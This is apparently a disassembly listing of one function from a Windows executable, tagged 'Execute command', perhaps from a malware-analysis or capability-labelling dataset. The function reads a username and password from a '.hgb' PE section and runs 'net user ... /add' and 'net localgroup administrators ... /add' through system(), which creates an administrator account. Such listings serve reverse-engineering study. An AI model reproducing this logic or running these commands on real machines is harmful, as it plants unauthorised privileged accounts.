Function at 0x140001848
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x2a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x240], ecx
mov qword [rbp + 0x248], rdx
call dbg.__main
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x60]
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov r9d, 0
lea r8, str.Path
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, [rbp + 0x40]
mov rdx, qword [rbp + 0x210]
lea r8, str..hgb
mov rcx, rax
call sym.ReadSection_abi:cxx11__char_const__char_const_
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
xor eax, 1
test al, al
je 0x140001c44
lea rax, [rbp + 0x16d]
mov qword [rbp + 0x200], rax
nop
nop
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end__
mov rbx, rax
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin__
mov rdx, rax
lea rcx, [rbp + 0x16d]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__normal_i
lea rax, [rbp + 0x16d]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov r9d, 0
lea r8, str.AT170605___Ho
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
lea rax, [rbp + 0x16e]
mov qword [rbp + 0x1f8], rax
nop
nop
lea rdx, [rbp + 0x16e]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, [0x14002d015]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x16e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x16f]
mov qword [rbp + 0x1f0], rax
nop
nop
lea rdx, [rbp + 0x16f]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, [0x14002d015]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x16f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov dword [rbp + 0x21c], 0
jmp 0x140001a1c
mov eax, dword [rbp + 0x21c]
movsxd rdx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
movzx eax, byte [rax]
movsx edx, al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140025dc0
add dword [rbp + 0x21c], 1
mov eax, dword [rbp + 0x21c]
movsxd rdx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
movzx eax, byte [rax]
cmp al, 0x20
setne al
test al, al
jne 0x1400019ee
add dword [rbp + 0x21c], 1
jmp 0x140001a74
mov eax, dword [rbp + 0x21c]
movsxd rdx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
movzx eax, byte [rax]
movsx edx, al
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140025dc0
add dword [rbp + 0x21c], 1
mov eax, dword [rbp + 0x21c]
movsxd rbx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
cmp rbx, rax
setb al
test al, al
jne 0x140001a46
lea rax, [rbp + 0x1b0]
lea rdx, [rbp - 0x40]
mov r8, rdx
lea rdx, str.net_user
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, [0x14002d074]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
lea rcx, [rbp - 0x20]
lea rdx, [rbp + 0x190]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
mov rax, rbp
lea rdx, [rbp + 0x170]
lea r8, str.__add
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
mov dword [rbp + 0x20c], eax
lea rax, [rbp + 0x1d0]
lea rdx, [rbp - 0x40]
mov r8, rdx
lea rdx, str.net_localgroup_administrators
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x1d0]
lea r8, str.__add
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
mov dword [rbp + 0x208], eax
cmp dword [rbp + 0x20c], 0
jne 0x140001be2
cmp dword [rbp + 0x208], 0
jne 0x140001be2
mov r9d, 0
lea r8, str.SUCCESS
lea rax, str.User_created_successfully_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
jmp 0x140001c07
mov r9d, 0
lea r8, str.ERROR
lea rax, str.ERROR_CREATING_USER
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x140001c69
mov r9d, 0
lea r8, str.ERROR
lea rax, str.NO_DATA_FOUND_IN_SECTION__.hgb__OR_NO_SECTION_NAMED__hgb_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov ebx, 0
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140001d82
add rsp, 0x2a8
pop rbx
pop rbp
ret